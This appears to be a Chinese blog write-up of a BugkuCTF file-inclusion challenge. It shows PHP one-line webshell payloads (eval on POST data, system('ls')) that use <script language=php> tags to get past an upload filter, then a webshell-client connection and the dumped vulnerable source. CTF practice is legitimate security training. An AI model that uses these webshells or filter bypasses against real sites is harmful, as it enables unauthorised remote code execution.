美文网首页
BugkuCTF 文件包含2

BugkuCTF 文件包含2

作者: Visianlee | 来源:发表于2019-06-08 21:46 被阅读0次

有一个文件上传url


image.png

经过测试发现上传之后后台会进行二次处理,统一处理成xxx.jpg,并返回路径。

测试一下文件能不能访问,直接访问返回图片,用文件包含访问把图片当作php文件解析,因此我们上传时直接上传图片格式即可。
但是还是不妨测试一下发现.php;.jpg可以绕过过滤,不过没有什么意义。


image.png image.png

第一次我用的小马是

<?=eval($_POST['abc']);>

发现被过滤了
我们尝试别的语句

<script language=php>echo'nihao';eval($_POST['abc'])</script>
<?=eval($_POST['shell']);>

发现可以执行成功
最后拿菜到连上shell即可

别的姿势
可以直接在一句话里执行命令

<script language=php>system("ls")</script>

由于我们连上了菜刀,我们可以把源码dump下来,仔细分析一下原理,源码如下:
index.php

<!-- upload.php -->
<?php
    if(!isset($_GET['file']))
    {
        header('Location: ./index.php?file=hello.php');//重定向
        exit();
    }
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)//限制不能用php://input等方法读取源码
        {
            echo "<h1>NAIVE!!!</h1>";
        }
        else
        {
            include($file);
        }
    }
?>

upload.php

<html>
<head>
    <meta charset="utf-8"/>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <title>UPLOAD</title>
</head>
<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
请上传jpg gif png 格式的文件  文件大小不能超过100KiB<br>
<?php
//error_reporting(0);
if(!empty($_FILES["file"]))
{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        $filename = date('Ymdhis').rand(1000, 9999).'.'.$extension;
        if(move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename)){
        $url="upload/".$filename;
        $content = file_get_contents($url);
        $content = preg_replace('/<\?php|\?>/i', '_', $content);//过滤<? php ?>
        file_put_contents('upload/'.$filename, $content);
        echo "file upload successful!Save in:  " . "upload/" . $filename;
 
    }else{
            echo "upload failed!";
    }
    }
    else
    {
        echo "upload failed! allow only jpg,png,gif,jpep";
    }
}
?>

文件上传漏洞学习文章
https://www.baidu.com/link?url=ocK5c71Rg8CAS2SUfGDs9WJXFKCiZnHhE_tB8Mue-tTvcvE6MNKyvJfnlaZEp0ac&wd=&eqid=946c744f003b6178000000025cfb73dd

参考文章:
https://blog.csdn.net/zazazrt/article/details/87574205★★★★
https://blog.csdn.net/weixin_43571641/article/details/84667126
https://xz.aliyun.com/t/2657

相关文章

  • BugkuCTF 文件包含2

    有一个文件上传url 经过测试发现上传之后后台会进行二次处理,统一处理成xxx.jpg,并返回路径。 测试一下文件...

  • Shell脚本语言:文件包含、cat命令、获取用户输入(5)

    一、文件包含:1、文件B包含文件A:示例代码: 2、文件B包含文件A:示例代码: 二、cat命令: 作用: 语法:...

  • bugku 文件包含2

    打开看到提示有upload.php页面,则 上传test.php.jpg,可以成功上传,上传后,我们进入成功的页面...

  • TryHackMe--dogcat

    一、文件包含利用 1、本地文件包含 2、源码分析 3、apache日志文件包含 apache默认路径:/var/w...

  • 2-WEB-BugkuCTF之文件上传测试

    一,文件上传测试 1,要求上传小于1M的PHP文件1.jpg 2 选定php文件上传后,提示“非图片文件”2.jp...

  • React Native入门2(项目结构)

    项目结构说明: 1、android文件夹--包含安卓项目文件 2、ios 文件夹--包含iOS项目文件 3、nod...

  • 【文件包含】PHP文件包含漏洞

    0x01 文件包含函数 include() include_once() require() require_on...

  • Linux常用命令学习

    ls,查看当前文件夹所包含的文件 1、ls -a 列出目录所有文件,包含以.开始的隐藏文件2、ls -t以文件修改...

  • 文件包含

    本文作者是一个白的不能再白的小白的写的,自身的水平有限,本着分享的态度,如遇到不对的地方,希望大家多多提意见。 文...

  • 文件包含

    如何侵入系统 1 程序通过【包含函数】调用本地或远程文件,来实现漏洞上传。2 被包含的文件是各种格式,文件中可能就...

网友评论

      本文标题:BugkuCTF 文件包含2

      本文链接:https://www.haomeiwen.com/subject/wxkwxctx.html